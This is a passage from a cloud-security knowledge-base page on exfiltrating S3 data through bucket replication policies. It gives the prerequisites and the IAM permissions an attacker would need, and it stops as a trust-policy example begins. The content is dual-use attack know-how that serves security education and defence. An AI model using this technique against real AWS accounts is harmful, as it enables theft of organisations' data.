0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#introduction class=md-nav__link> <span class=md-ellipsis> Introduction </span> </a> </li> <li class=md-nav__item> <a href=#required-configurations-and-permissions class=md-nav__link> <span class=md-ellipsis> Required Configurations and Permissions </span> </a> <nav class=md-nav aria-label="Required Configurations and Permissions"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#pre-requisites class=md-nav__link> <span class=md-ellipsis> Pre-requisites </span> </a> </li> <li class=md-nav__item> <a href=#iam-role class=md-nav__link> <span class=md-ellipsis> IAM Role </span> </a> </li> <li class=md-nav__item> <a href=#kms-if-objects-are-encrypted class=md-nav__link> <span class=md-ellipsis> KMS - If objects are encrypted </span> </a> </li> <li class=md-nav__item> <a href=#attacker-account-configuration class=md-nav__link> <span class=md-ellipsis> Attacker Account Configuration </span> </a> </li> <li class=md-nav__item> <a href=#configuring-the-replication class=md-nav__link> <span class=md-ellipsis> Configuring the replication </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#what-defenders-can-look-for class=md-nav__link> <span class=md-ellipsis> What defenders can look for </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#introduction class=md-nav__link> <span class=md-ellipsis> Introduction </span> </a> </li> <li class=md-nav__item> <a href=#required-configurations-and-permissions class=md-nav__link> <span class=md-ellipsis> Required Configurations and Permissions </span> </a> <nav class=md-nav aria-label="Required Configurations and Permissions"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#pre-requisites class=md-nav__link> <span class=md-ellipsis> Pre-requisites </span> </a> </li> <li class=md-nav__item> <a href=#iam-role class=md-nav__link> <span class=md-ellipsis> IAM Role </span> </a> </li> <li class=md-nav__item> <a href=#kms-if-objects-are-encrypted class=md-nav__link> <span class=md-ellipsis> KMS - If objects are encrypted </span> </a> </li> <li class=md-nav__item> <a href=#attacker-account-configuration class=md-nav__link> <span class=md-ellipsis> Attacker Account Configuration </span> </a> </li> <li class=md-nav__item> <a href=#configuring-the-replication class=md-nav__link> <span class=md-ellipsis> Configuring the replication </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#what-defenders-can-look-for class=md-nav__link> <span class=md-ellipsis> What defenders can look for </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Ben Leembruggen</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/s3-bucket-replication-exfiltration.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Exfiltrating S3 Data with Bucket Replication Policies</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p><a href=https://bleemb.medium.com/data-exfiltration-with-native-aws-s3-features-c94ae4d13436>Data exfiltration with native AWS S3 features</a> by <a href=https://bleemb.medium.com/ >Ben Leembnruggen</a></p> </li> </ul> </div> <h2 id=introduction>Introduction<a class=headerlink href=#introduction title="Permanent link">&para;</a></h2> <p><a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html>S3 data replication</a> provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.</p> <hr> <h2 id=required-configurations-and-permissions>Required Configurations and Permissions<a class=headerlink href=#required-configurations-and-permissions title="Permanent link">&para;</a></h2> <h3 id=pre-requisites>Pre-requisites<a class=headerlink href=#pre-requisites title="Permanent link">&para;</a></h3> <p>For bucket replication to be enabled, the following <a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html>pre-requisites</a> need to be in place: </p> <ul> <li>The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled. </li> <li>Both source and destination buckets must have versioning enabled. </li> <li>If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled. </li> </ul> <h3 id=iam-role>IAM Role<a class=headerlink href=#iam-role title="Permanent link">&para;</a></h3> <p><em>Minimum Required IAM Permissions - Source Account</em> </p> <ul> <li><code>iam:CreateRole</code> (creating a new role) </li> <li><code>iam:CreatePolicy</code> &amp; <code>iam:AttachRolePolicy</code> (creating a new policy) or <code>iam:PutRolePolicy</code> (modifying an existing policy) </li> <li><code>iam:UpdateAssumeRolePolicy</code> </li> </ul> <p>Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:</p> <p>Trust Policy <div class=highlight><pre><span></span><code><span class=p>{</span>
